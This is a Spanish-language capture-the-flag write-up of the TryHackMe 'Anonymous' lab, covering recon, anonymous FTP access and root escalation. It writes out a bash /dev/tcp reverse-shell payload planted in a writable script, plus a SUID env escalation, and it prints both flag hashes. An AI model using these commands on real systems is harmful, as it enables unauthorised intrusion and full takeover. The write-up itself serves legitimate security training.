Informe Técnico

Máquina Anonymous

Este documento ha sido escrito con fines legales y éticos, las técnicas que se explican en dicho documento no se han realizar con fines maliciosos en situaciones de la vida real.

En este documento se ha utilizado la plataforma **Try Hack Me** para simular un entorno controlado para realizar simulaciones de ataques de hacking.

Autor del documento: Miguel Nebot (aka Krathor)
Fecha: 10/06/2024

Anonymous

Not the hacking group

ÍNDICE:

Anonymous

Not the hacking group

1. Antecedentes

El presente documento explica el procedimiento a seguir para conseguir comprometer la máquina **Anonymous** de la plataforma de **Try Hack Me.**

2. Objetivos

Estudiar y conocer los sistemas de seguridad de la máquina **Anonymous**, para poder planificar varias formas de explotación con las cuales poder acceder a la máquina **Anonymous** y una vez dentro conseguir los máximos privilegios posibles dentro del sistema.

Figura 1: Flujo de trabajo para resolver la máquina

3. Análisis de vulnerabilidades

3.1. Reconocimiento inicial

Se inició realizando una prueba de conexión a nivel de red, para asegurarse de que la máquina **Kali Linux** del **atacante** pueda comunicarse con la máquina víctima Anonymous:

```
❯ ping -c 1 10.10.94.192
PING 10.10.94.192 (10.10.94.192) 56(84) bytes of data.
64 bytes from 10.10.94.192: icmp_seq=1 ttl=63 time=64.7 ms

--- 10.10.94.192 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 64.713/64.713/64.713/0.000 ms
```

Figura 2: Comando **ping** para comprobar conexión con la máquina víctima *Anonymous*

En la imagen anterior se puede apreciar que se envía un paquete a nivel de red a la máquina víctima, y ésta reenvía el paquete a la máquina atacante, es decir, que hay conexión a nivel de red entre la máquina atacante y la máquina víctima.

3.2. Escaneo de puertos abiertos

Una vez asegurada la conexión con la máquina víctima, se procedió a escanear los puertos de esta para detectar posibles vulnerabilidades:

```
❯ nmap -p- --open -sV --min-rate 5000 -Pn 10.10.94.192
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-10 15:30 CEST
Nmap scan report for 10.10.94.192
Host is up (0.13s latency).
Not shown: 55534 closed tcp ports (reset), 9997 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.0.8 or later
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Figura 3: Uso de la herramienta **nmap** para escanear los puertos abiertos

Se descubrieron varios puertos abiertos, entre ellos el **puerto 21** que corresponde al servicio **ftp**, y el **puerto 22** que corresponde al servicio **ssh.**

3.3. Intento de acceso a la máquina víctima

Se intentó acceder a la máquina víctima a través del servicio **ftp**:

```
❯ ftp 10.10.94.192
```

Figura 4: Uso del servicio ftp para intentar acceder a la máquina víctima

Para poder iniciar sesión en la máquina víctima, se ingresó el nombre de usuario ‘anonymous’:

```
Name (10.10.94.192:krathor): anonymous
331 Please specify the password.
Password:
```

Figura 5: Ingreso del nombre de usuario 'anonymous' en la máquina víctima

En el caso de la contraseña, se dejó en blanco, ya que no se disponían de más credenciales.

Al ingresar dichas credenciales, se obtuvo el siguiente código:

```
230 Login successful.
```

Figura 6: Código exitoso en el inicio se sesión

3.4. Listado del contenido de la máquina víctima

Cuando se accedió a la máquina víctima, se listó el contenido de esta:

```
ftp> ls
229 Entering Extended Passive Mode (|||56675|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
```

Figura 7: Contenido listado de la máquina víctima

Se descubrió un directorio llamado 'scripts', se investigó el contenido contenía:

```
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||43125|)
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         1075 Jun 10 13:34 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.
```

Figura 8: Contenido del directorio

Se descubrieron 3 archivos dentro del directorio, para poder manipular dichos archivos, se descargaron 2 de esos archivos en la máquina atacante:

```
ftp> get clean.sh
```

```
ftp> get to_do.txt
```

Figura 9: Archivos descargados en la máquina atacante

Se investigó el contenido del archivo 'clean.sh':

```
cat clean.sh
File: clean.sh
1  #!/bin/bash
2
3  tmp_files=0
4  echo $tmp_files
5  if [ $tmp_files=0 ]
6  then
7          echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
8  else
9      for LINE in $tmp_files; do
10         rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
11 fi
```

Figura 10: Contenido del archivo 'clean.sh'

3.5. Modificación del archivo descargado

Se modificó el contenido del archivo 'clean.sh' para que cuando se ejecuté envíe una reverse shell a la máquina víctima:

```
/home/krathor
micro clean.sh
```

Figura 11: Comando para editar el archivo 'clean.sh'

Se cambió el contenido original del archivo ‘clean.sh’, por este contenido:

```
#!/bin/bash

bash -i >& /dev/tcp/10.8.55.74/443 0>&1
```

Figura 12: Contenido modificado del archivo ‘clean.sh’

3.6. Subir archivo modificado a la máquina víctima

Para poder ejecutar el archivo modificado en la máquina víctima, se inició sesión usando el servicio ftp:

```
❯ ftp 10.10.94.192
Connected to 10.10.94.192.
```

Figura 13: Acceso a la máquina víctima usando ssh

Se ingresó al directorio ‘scripts’ donde se subirá el archivo modificado:

```
ftp> cd scripts
```

Figura 14: Ingreso al directorio ‘scripts’

Desde la máquina víctima se ejecutó el siguiente comando para descargar el archivo modificado:

```
ftp> put clean.sh
```

Figura 15: Comando para descargar el archivo modificado en la máquina víctima

3.7. Acceso a la máquina víctima como usuario del sistema

Para poder ingresar en la máquina víctima siendo usuario propio del sistema, se ejecutó el siguiente comando en la máquina atacante:

```
❯ nc -nlvp 443
```

Figura 16: Comando para ponerse en escucha por el puerto 443

Al recibir la reverse shell, se consiguió acceso a la máquina víctima:

```
namelessone@anonymous:~$ whoami
whoami
namelessone
```

Figura 17: Ingreso a la máquina víctima como usuario propio del sistema

3.8. Tratamiento de la terminal para evitar problemas

Para poder usar de forma adecuada y cómoda la terminal, sin tener problemas al presionar ciertas teclas, se ejecutaron los siguientes comandos:

```
namelessone@anonymous:~$ script /dev/null -c bash
```

```
namelessone@anonymous:~$ ^Z
zsh: suspended  nc -nlvp 443

❯ stty raw -echo;fg
[1]  + continued  nc -nlvp 443
                              reset xterm
```

```
export SHELL=bash
export TERM=xterm
```

Figura 18: Comando para realizar el tratamiento de la terminal del sistema

Una vez tratada la terminal, se descubrió la flag del usuario no privilegiado en el directorio actual:

```
namelessone@anonymous:~$ ls
pics  user.txt
namelessone@anonymous:~$ cat user.txt
90d6f992585815ff991e68748c414740
```

Figura 19: Flag del usuario no privilegiado de la máquina víctima

4. Escalado de privilegios

4.1. Búsqueda de binarios con permisos SUID

Se realizó una búsqueda profundidad de archivos con permiso SUID en la máquina víctima:

```
namelessone@anonymous:~$ find / -perm -4000 2>/dev/null
```

Figura 20: Comando para buscar archivos con permisos SUID

Se localizó el siguiente binario:

```
/usr/bin/env
```

Figura 21: Binario con permiso SUID

4.2. Uso de binario con permisos SUID

Para escalar privilegios al usuario privilegiado, se ejecutó el siguiente comando que utiliza los permisos SUID del binario anterior:

```
namelessone@anonymous:~$ /usr/bin/env /bin/sh -p
# whoami
root
```

Figura 22: Escalado de privilegios del usuario no privilegiado al usuario root del sistema

Una vez siendo el usuario privilegiado el sistema, se procedió a ir al directorio '/root':

```
# cd /root
```

Figura 23: Directorio '/root' de la máquina víctima

Al estar dentro del directorio '/root', se analizó el contenido de la flag del usuario privilegiado del sistema:

```
# ls
root.txt
```

```
# cat root.txt
4d930091c31a622a7ed10f27999af363
```

Figura 24: Contenido de la flag del usuario root